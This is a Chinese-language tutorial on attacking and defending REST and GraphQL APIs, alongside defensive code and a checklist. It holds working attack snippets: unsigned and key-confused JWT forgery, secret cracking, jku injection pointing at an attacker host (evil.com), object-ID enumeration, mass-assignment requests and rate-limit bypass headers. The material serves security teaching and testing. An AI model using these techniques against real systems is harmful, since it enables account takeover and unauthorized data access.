REST/GraphQL API的攻防对抗
API已成为现代应用的核心,也是攻击者的首要目标。OWASP API Security Top 10 (2023) 列出了API特有的安全风险。
| API类型 | 攻击面 | 典型漏洞 |
|---|---|---|
| REST | 端点+参数 | IDOR、批量赋值、注入 |
| GraphQL | 查询+类型系统 | 内省泄露、深度嵌套、批量查询 |
| gRPC | protobuf+HTTP/2 | 服务反射、序列化漏洞 |
| WebSocket | 持久连接 | 跨站WebSocket劫持、认证缺失 |
# JWT三段式: Header.Payload.Signature
# eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
# 解码JWT (无需密钥)
# 方法1: jwt-cli
npm install -g jwt-cli
jwt decode "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx"
# 方法2: Python
python3 -c "
import base64, json
token = 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx'
parts = token.split('.')
header = json.loads(base64.b64decode(parts[0] + '=='))
payload = json.loads(base64.b64decode(parts[1] + '=='))
print('Header:', header)
print('Payload:', payload)
"
# 输出:
# Header: {'alg': 'HS256'}
# Payload: {'user': 'admin'}
# 某些JWT库接受 "none" 算法
# 伪造无签名JWT
python3 << 'EOF'
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "superuser"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged = f"{h}.{p}." # 空签名
print(f"Forged JWT: {forged}")
EOF
# 测试: 用伪造JWT请求API
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcnVzZXIifQ." \
https://api.target.com/admin/users
# 当服务端使用RS256(非对称)时
# 攻击者获取公钥,将alg改为HS256,用公钥签名
python3 << 'EOF'
import jwt
# 假设已获取公钥
public_key = open('public.pem').read()
# 将alg改为HS256,用公钥作为HMAC密钥
payload = {"sub": "admin", "role": "superuser"}
forged = jwt.encode(payload, public_key, algorithm="HS256")
print(f"Forged JWT: {forged}")
EOF
# 防御: 服务端明确指定允许的算法
# ❌ 不好: jwt.decode(token, key, algorithms=[header['alg']])
# ✅ 安全: jwt.decode(token, key, algorithms=['RS256'])
# 使用jwt-cracker爆破弱密钥
npm install -g jwt-cracker
jwt-cracker -t "eyJhbGciOiJIUzI1NiJ9..." -d /usr/share/wordlists/rockyou.txt
# 使用hashcat (GPU加速)
# JWT hash format: mode 16500
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt
# 使用john
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.hash
# 常见弱密钥:
# secret, password, 123456, key, jwt_secret
# your-256-bit-secret (来自JWT.io示例!)
# jku (JWK Set URL) 注入
# JWT Header中的jku指向JWK的URL
# 如果服务端不验证jku域名,攻击者可指向自己的JWK
# 伪造Header:
{
"alg": "RS256",
"jku": "https://evil.com/jwks.json", ← 指向攻击者控制的JWK
"kid": "attacker-key"
}
# 攻击者生成RSA密钥对:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# 创建JWK Set:
python3 -c "
from jwt import PyJWK
key = PyJWK.from_pem(open('public.pem').read())
print(key.to_dict())
" > jwks.json
# 用私钥签名JWT,jku指向攻击者的JWK
# 服务端如果盲目信任jku → 验证通过!
# 1. 算法白名单
import jwt
ALLOWED_ALGORITHMS = ['RS256', 'ES256'] # 仅非对称算法
def verify_token(token, public_key):
try:
payload = jwt.decode(
token,
public_key,
algorithms=ALLOWED_ALGORITHMS, # 严格限制算法
options={
'require': ['exp', 'iat', 'sub', 'jti'],
'verify_exp': True,
'verify_iat': True,
}
)
return payload
except jwt.InvalidTokenError as e:
raise AuthenticationError(str(e))
# 2. Token绑定 (防止重放)
def create_bound_token(user_id, request):
"""绑定token到客户端指纹"""
fingerprint = hashlib.sha256(
(request.remote_addr +
request.headers.get('User-Agent', '') +
request.headers.get('Accept-Language', '')).encode()
).hexdigest()[:16]
payload = {
'sub': user_id,
'fp': fingerprint, # 绑定指纹
'jti': str(uuid.uuid4()), # 唯一ID
'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(minutes=15),
}
return jwt.encode(payload, PRIVATE_KEY, algorithm='RS256')
# 3. Token撤销 (黑名单)
import redis
r = redis.Redis()
def revoke_token(jti, exp_delta):
"""将token的jti加入黑名单"""
r.setex(f'token:blacklist:{jti}', exp_delta, '1')
def is_revoked(jti):
return r.exists(f'token:blacklist:{jti}')
# 4. JWKS端点安全
@app.route('/.well-known/jwks.json')
def jwks():
return jsonify({
"keys": [current_jwk.to_dict()]
})
# 验证jku/jwk来源
def verify_jku(jku_url):
"""只允许受信任的JWK URL"""
allowed_domains = ['auth.example.com']
parsed = urlparse(jku_url)
if parsed.hostname not in allowed_domains:
raise SecurityError(f"Untrusted JKU: {jku_url}")
# 发现API端点
# 1. 目录爆破
ffuf -u "https://api.target.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-mc 200,201,401,403
# 2. Swagger/OpenAPI发现
curl https://api.target.com/swagger.json
curl https://api.target.com/api-docs
curl https://api.target.com/openapi.json
curl https://api.target.com/.well-known/openapi.json
# 3. GraphQL内省
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
# 4. HTTP方法测试
for method in GET POST PUT PATCH DELETE; do
echo "$method:"
curl -X $method -i https://api.target.com/users 2>/dev/null | head -1
done
# BOLA (Broken Object Level Authorization) 测试
# OWASP API #1 漏洞
# 1. 捕获正常请求
# GET /api/v1/users/123/profile
# Authorization: Bearer eyJ...
# 2. 修改ID参数
for i in $(seq 100 110); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://api.target.com/api/v1/users/$i/profile")
echo "User $i: $status"
done
# 3. 修改UUID参数
curl -H "Authorization: Bearer $TOKEN" \
"https://api.target.com/api/v1/users/00000000-0000-0000-0000-000000000001/profile"
# 4. 批量赋值测试 (Mass Assignment)
# 正常: {"name": "John", "email": "john@test.com"}
# 攻击: {"name": "John", "email": "john@test.com", "role": "admin", "is_verified": true}
curl -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"John","email":"john@test.com","role":"admin"}' \
"https://api.target.com/api/v1/users/123/profile"
# 绕过限速的常见方法
# 1. 修改请求头
X-Forwarded-For: 1.2.3.4 # 伪造IP
X-Original-URL: /api/endpoint # URL覆盖
X-Rewrite-URL: /api/endpoint # URL重写
# 2. 大小写变异
GET /API/V1/USERS vs GET /api/v1/users
# 3. 路径变异
GET /api/v1/users vs
GET /api/v1/users/ vs
GET /api/v1/users.. vs
GET /api/v1/./users
# 4. 参数污染
GET /api/v1/users?id=123&id=456
# API安全清单
## 认证与授权
[ ] 所有端点需要认证(除公开API)
[ ] 对象级授权检查(BOLA)
[ ] 功能级授权检查(BFLA)
[ ] 最小权限原则
[ ] API Key + OAuth 2.0
## 输入验证
[ ] 参数类型和范围验证
[ ] 白名单允许的字段(Mass Assignment防护)
[ ] 请求体大小限制
[ ] 嵌套深度限制(GraphQL)
[ ] 查询复杂度限制
## 限速与防护
[ ] 速率限制(per user/IP/endpoint)
[ ] 并发请求限制
[ ] 防暴力破解机制
[ ] API Gateway统一管控
## 数据保护
[ ] 响应数据过滤(不返回内部字段)
[ ] 敏感数据加密
[ ] 分页限制(防止数据泄露)
[ ] 错误信息脱敏
## 监控与日志
[ ] API调用审计日志
[ ] 异常行为检测
[ ] API资产清单维护
[ ] 版本管理(废弃旧版本)
# Postman Collection导出为自动化测试
# 安装Newman
npm install -g newman
# 运行API安全测试集合
newman run api-security-tests.postman_collection.json \
--environment prod.postman_environment.json \
--reporters cli,json \
--reporter-json-export results.json
# 安全测试Collection示例:
# 1. 认证测试
# - 无Token访问 → 401
# - 过期Token → 401
# - 篡改Token → 401
# - 算法none → 401
# 2. 授权测试
# - 普通用户访问admin端点 → 403
# - 修改ID访问他人资源 → 403
# - 修改角色字段 → 400/403
# 3. 输入验证
# - SQL注入payload → 400
# - XSS payload → 400/sanitized
# - 超大请求体 → 413
# - 特殊字符 → 400
# 使用42Crunch进行API安全审计
# 1. 导入OpenAPI规范
# 2. 自动安全审计(100+检查项)
# 3. Conformance Scan(验证实现与规范一致)
# 4. 运行时保护(API Firewall)
# 使用APIsec University进行API渗透测试培训
# https://www.apisecuniversity.com/
# GraphQL安全专用工具
# GraphQLmap
pip install graphqlmap
graphqlmap -u https://api.target.com/graphql
# > dump_schema # 导出schema
# > search_admin # 搜索管理员查询
# > batch_query 100 # 批量查询测试
# Clairvoyance - 无内省时重建schema
pip install clairvoyance
clairvoyance https://api.target.com/graphql -o schema.json
# API安全成熟度 5 级模型
#
# Level 1 - 基础
# ├── API认证(Key/Token)
# ├── HTTPS传输
# └── 基础输入验证
#
# Level 2 - 标准
# ├── OAuth 2.0 + PKCE
# ├── RBAC授权
# ├── 速率限制
# └── API网关
#
# Level 3 - 高级
# ├── 对象级授权(BOLA/BFLA)
# ├── API安全测试自动化
# ├── Schema验证
# └── 加密敏感字段
#
# Level 4 - 先进
# ├── 运行时API保护
# ├── 行为异常检测
# ├── Zero Trust API
# └── API安全态势管理
#
# Level 5 - 领先
# ├── AI驱动的威胁检测
# ├── API供应链安全
# ├── 自愈API网关
# └── 持续合规自动化
#
# 大多数组织目前处于 Level 1-2